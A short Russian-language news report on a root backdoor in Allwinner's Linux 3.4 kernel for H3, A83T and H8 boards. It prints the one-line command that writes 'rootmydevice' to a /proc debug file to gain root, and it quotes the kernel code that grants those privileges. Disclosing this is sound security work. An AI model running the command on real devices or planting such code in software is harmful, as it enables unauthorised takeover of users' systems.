Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки "rootmydevice" в файл "/proc/sunxi_debug/sunxi_debug".
$ id uid=1000(user) gid=1000(user) $ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug $ id uid=0(root) gid=0(root)
Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno,
Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:
if(!strncmp("rootmydevice",(char*)buf,12)){ cred = (struct cred *)__task_cred(current); cred->uid = 0; cred->gid = 0; cred->suid = 0; cred->euid = 0; cred->euid = 0; cred->egid = 0; cred->fsuid = 0; cred->fsgid = 0; printk("now you are root\n"); }
Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10.